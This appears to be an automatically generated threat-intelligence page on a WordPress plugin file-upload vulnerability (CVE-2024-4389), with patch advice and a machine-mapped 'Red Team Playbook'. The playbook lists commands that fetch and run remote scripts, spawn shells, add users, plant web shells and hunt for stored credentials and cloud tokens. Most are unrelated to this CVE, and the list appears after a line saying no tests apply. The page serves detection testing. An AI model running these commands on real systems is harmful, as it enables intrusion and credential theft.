CVE-2024-4389
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the uploadFile function of the Slider and Carousel slider by Depicter WordPress plugin. The affected component is the file upload mechanism in versions up to and including 3.1.1, which fails to restrict or verify the nature of files submitted by authenticated users. This lack of file type enforcement enables unauthorized file placement on the server.
Vulnerability Description
The Slider and Carousel slider by Depicter plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the uploadFile function in all versions up to, and including, 3.1.1. This makes it possible for authenticated attackers, with contributor access or higher, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor or higher access can exploit this vulnerability to upload arbitrary files, including web shells or malicious scripts, to the server hosting the affected WordPress site. This capability can lead to remote code execution, allowing the attacker to execute commands, escalate privileges, or maintain persistent access. The attack requires authentication with at least contributor privileges but no user interaction beyond that. The CVSS vector indicates low attack complexity and no user interaction, emphasizing the ease of exploitation once authenticated.
Solution
Users should upgrade the averta Depicter — Popup & Slider Builder plugin to version 3.1.2 or later, where file type validation in the uploadFile function has been implemented. Detailed patch information and remediation steps are available in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/81f025da-c28c-4a80-8b4f-27dae07b2b04) and the plugin's source code repository changeset 3108589. No alternative workarounds are documented; applying the official update is required to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Slider and Carousel slider by Depicter plugin for WordPress stems from inadequate file type validation within the uploadFile function. This oversight allows authenticated users, specifically those with contributor access or higher, to upload files without proper checks on the file type. As a result, attackers can exploit this weakness to upload potentially malicious files, including scripts that could facilitate remote code execution on the server. The lack of stringent validation mechanisms means that any file type can be uploaded, which is a critical security flaw, especially in a web environment where file uploads are common.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to upload a malicious PHP script disguised as an image or other benign file type. Once uploaded, this script could be executed on the server, allowing the attacker to perform a range of malicious activities, such as data exfiltration, website defacement, or even complete server takeover. The ease of exploitation is heightened by the fact that the vulnerability does not require sophisticated technical skills; a user with basic knowledge of file uploads can execute the attack. Additionally, the potential for automated exploitation increases the risk, as attackers can use scripts to target multiple sites in a short period.
The real-world impact of this vulnerability can be significant, particularly for businesses relying on the affected plugin for their WordPress sites. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and damage to the organization's reputation. Furthermore, the potential for remote code execution means that attackers could deploy additional malware or create backdoors for future access, compounding the risks. The financial implications could also be severe, ranging from the costs associated with incident response and recovery to potential legal liabilities if customer data is compromised. For businesses, the risk extends beyond immediate financial loss to long-term damage to customer trust and brand integrity.
To detect and mitigate this vulnerability, organizations should implement several strategies. First and foremost, it is crucial to ensure that the plugin is updated to the latest version, as developers often release patches to address known vulnerabilities. Regularly auditing and monitoring file uploads can also help identify any unauthorized files that may have been uploaded. Implementing strict file type validation and limiting the types of files that can be uploaded is essential to prevent malicious files from being executed. Additionally, employing web application firewalls (WAF) can provide an extra layer of security by filtering out malicious traffic and blocking known attack patterns.
In conclusion, the vulnerability in the Slider and Carousel slider by Depicter plugin represents a critical security risk that can lead to severe consequences for affected WordPress sites. The combination of inadequate file type validation and the potential for remote code execution creates a dangerous scenario for organizations. By understanding the technical details, potential attack vectors, and real-world impacts, businesses can take proactive measures to detect and mitigate this vulnerability, thereby safeguarding their digital assets and maintaining the trust of their users.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4389 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/81f025da-c28c-4a80-8b4f-27dae07b2b04?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/WordPress/FileUploaderService.php#L28 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3108589/depicter/trunk/app/src/WordPress/FileUploaderService.php |